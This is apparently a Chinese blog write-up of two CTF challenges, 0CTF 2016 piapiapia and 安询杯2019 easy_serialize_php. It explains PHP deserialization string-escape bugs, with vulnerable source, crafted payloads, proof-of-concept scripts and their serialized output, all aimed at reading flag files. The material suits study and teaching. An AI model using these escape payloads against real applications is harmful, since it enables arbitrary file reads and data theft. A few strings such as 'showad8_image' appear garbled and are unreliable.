AI智能
改变未来

PHP反序列化字符串逃逸

  • 通过
    CTF

    比赛了解

    PHP

    反序列化,记录自己的学习。

借用哈大佬们的名言

  • 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
  • 0CTF 2016piapiapia—–反序列化后长度递增
  • 安询杯2019-easy_serialize_php—–反序列化后长度递减

0CTF 2016piapiapia

  • 由于是代码审计,直接访问
    www.zip

    发现备份的源码,有一下文件,flag就在

    config.php

    ,因此读取即可

class.php         //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点)config.php        //环境配置index.php         //登陆profile.php       //查看自己上传的文件register.php      //注册update.php        //文件上传

源码分析

  • 然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看
    SQL

    咯,发现

    class.php

    mysql

    类的filter过滤函数,过滤了增删查改,基本无望.

  • 后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在
    profile.php

    中发现对上传的文件进行反序列化处理,并对文件

    $profile[\'photo\']

    进行读取.我们再回到文件上传点,发现

    $profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);

    ,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过

    filter

    函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞

payload构造

  • 我们知道,PHP反序列化时以
    ;

    作为分隔点,

    }

    做为结束标志,根据长度来判断读取多少字符,我们无法控制

    $profile[\'photo\']

    但是可以控制

    nickname

    ,而

    nickname

    又进行了长度限制,

    strlen

    函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的

    \";}

    是为了闭合前面数组

    nickname

    {

    ,后面的

    ;}

    是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.

\";}s:5:\"photo\";s:10:\"config.php\";}

这时构造了

payload

,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于

where

变成

hacker

会增加一个长度,那么我们就需要34个

where

,最终payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere\";}s:5:\"photo\";s:10:\"config.php\";}

原理解析

<?phpfunction filter($string) {$escape = array(\'\\\'\', \'\\\\\\\\\');$escape = \'/\' . implode(\'|\', $escape) . \'/\';$string = preg_replace($escape, \'_\', $string);$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');$safe = \'/\' . implode(\'|\', $safe) . \'/i\';return preg_replace($safe, \'hacker\', $string);}$profile = array(\'phone\'=>\'01234567890\',\'email\'=>\'[email protected]\',\'nickname\'=>array(\'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere\";}s:5:\"photo\";s:10:\"config.php\";}\'),\'photo\'=>\'upload/\'.md5(\'1.jpg\'));print_r(serialize($profile));echo PHP_EOL;print_r(filter(serialize($profile)));echo PHP_EOL;var_dump(unserialize(filter(serialize($profile))));echo PHP_EOL;?>
  • 输出结果展示,最开始不用进过
    filter

    函数反序列化时,

    nickname

    数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere\”;}s:5:\”photo\”;s:10:\”config.php\”;},刚好204个长度,经过filter过滤函数后,

    where

    变成了

    hacker

    ,反序列化的长度变化了,但是又只读取204的长度,则s:5:\”photo\”;s:10:\”config.php\”;}\”;}就多出来了,作为另一个反序列化的其中一个元素,而末尾的

    \'}

    又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.

a:4:{s:5:\"phone\";s:11:\"01234567890\";s:5:\"email\";s:15:\"[email protected]\";s:8:\"nickname\";a:1:{i:0;s:204:\"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere\";}s:5:\"photo\";s:10:\"config.php\";}\";}s:5:\"photo\";s:39:\"upload/f3ccdd27d2000e3f9255a7e3e2c48800\";}a:4:{s:5:\"phone\";s:11:\"01234567890\";s:5:\"email\";s:15:\"[email protected]\";s:8:\"nickname\";a:1:{i:0;s:204:\"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker\";}s:5:\"photo\";s:10:\"config.php\";}\";}s:5:\"photo\";s:39:\"upload/f3ccdd27d2000e3f9255a7e3e2c48800\";}array(4) {\'phone\' =>string(11) \"01234567890\"\'email\' =>string(15)ad8\"[email protected]\"\'nickname\' =>array(1) {[0] =>string(204) \"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker\"}\'photo\' =>string(10) \"config.php\"}

安询杯2019-easy_serialize_php

源码

<?php$function = @$_GET[\'f\'];function filter($img){$filter_arr = array(\'php\',\'flag\',\'php5\',\'php4\',\'fl1g\');$filter = \'/\'.implode(\'|\',$filter_arr).\'/i\';return preg_replace($filter,\'\',$img);}if($_SESSION){unset($_SESSION);}$_SESSION[\"user\"] = \'guest\';$_SESSION[\'function\'] = $function;extract($_POST);if(!$function){echo \'<a href=\"index.php?f=highlight_file\">source_code</a>\';}if(!$_GET[\'img_path\']){$_SESSION[\'img\'] = base64_encode(\'guest_img.png\');}else{$_SESSION[\'img\'] = sha1(base64_encode($_GET[\'img_path\']));}$serialize_info = filter(serialize($_SESSION));if($function == \'highlight_file\'){highlight_file(\'index.php\');}else if($function == \'phpinfo\'){eval(\'phpinfo();\'); //maybe you can find something in here!}else if($function == \'show_image\'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[\'img\']));}

分析

  • 源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:
    extract

    变量覆盖,

    file_get_contents

    任意文件读取.

  • 将变量
    $userinfo[\'img\']

    逆推回去发现,是由参数

    img_path

    控制的,但是经过

    sha1

    加密,我们无法得知加密后内容,但结合前面的

    extract

    变量覆盖,我们可以自己POST构造.

  • 构造了之后,会经过序列化
    filter

    函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.

payload构造

  • 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是
    img

    ,

    user

    ,

    function

    ,而我们能控制的只有后面两个,我们需要构造的payload是这样的

f\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:3:\"tql\";s:3:\"tql\";}
  • 但是不经任何改变则是这样的
a:3:{s:4:\"user\";s:5:\"guest\";s:8:\"function\";s:10:\"showad8_image\";s:3:\"img\";s:40:\"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5\";}
  • 我还是利用截断的思想不让其读取元素
    img

    的值,我们自己来构造这个值,只有两个参数,必须在

    function

    哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选

    user

    元素吧,

    len(\'\";s:8:\"function\";s:10:\"\'

    )的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用

    6个flag

    就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的

    img

    进行截断

a:3:{s:4:\"user\";s:24:\"\";s:8:\"function\";s:10:\"show_image\";s:3:\"img\";s:40:\"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5\";}a:3:{s:4:\"user\";s:24:\"\";s:8:\"function\";s:2:\"22\";s:3:\"img\";s:40:\"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5\";}
  • 截断只需
    }

    即可,并且不为读取的字符即可,因此添加

    f\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:3:\"tql\";s:3:\"tql\";}

    ,这里我们新增了一个元素,因此吞噬后

    function

    元素消失了,随便补充好元素即可.

原理解析

<?phpfunction filter($img){$filter_arr = array(\'php\',\'flag\',\'php5\',\'php4\',\'fl1g\');$filter = \'/\'.implode(\'|\',$filter_arr).\'/i\';return preg_replace($filter,\'\',$img);}$arr = array(\"user\"=>\"flagflagflagflagflagflag\",\"function\"=>\'2\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:3:\"tql\";s:3:\"tql\";}\',//\"user\"=>\'guest\',//\"function\"=>\'show_image\',\"img\"=>sha1(base64_encode(\'guest_img.png\')));print_r(serialize($arr));echo PHP_EOL;print_r(filter(serialize($arr)));echo PHP_EOL;print_r(unserialize(filter(serialize($arr))));?>
  • 输出展示
a:3:{s:4:\"user\";s:24:\"flagflagflagflagflagflag\";s:8:\"function\";s:62:\"2\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:3:\"tql\";s:3:\"tql\";}\";s:3:\"img\";s:40:\"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5\";}a:3:{s:4:\"user\";s:24:\"\";s:8:\"function\";s:62:\"2\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:3:\"tql\";s:3:\"tql\";}\";s:3:\"img\";s:40:\"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5\";}Array([user] => \";s:8:\"function\";s:62:\"2[img] => ZDBnM19mMWFnLnBocA==[tql] => tql)
赞(0) 打赏
未经允许不得转载:爱站程序员基地 » PHP反序列化字符串逃逸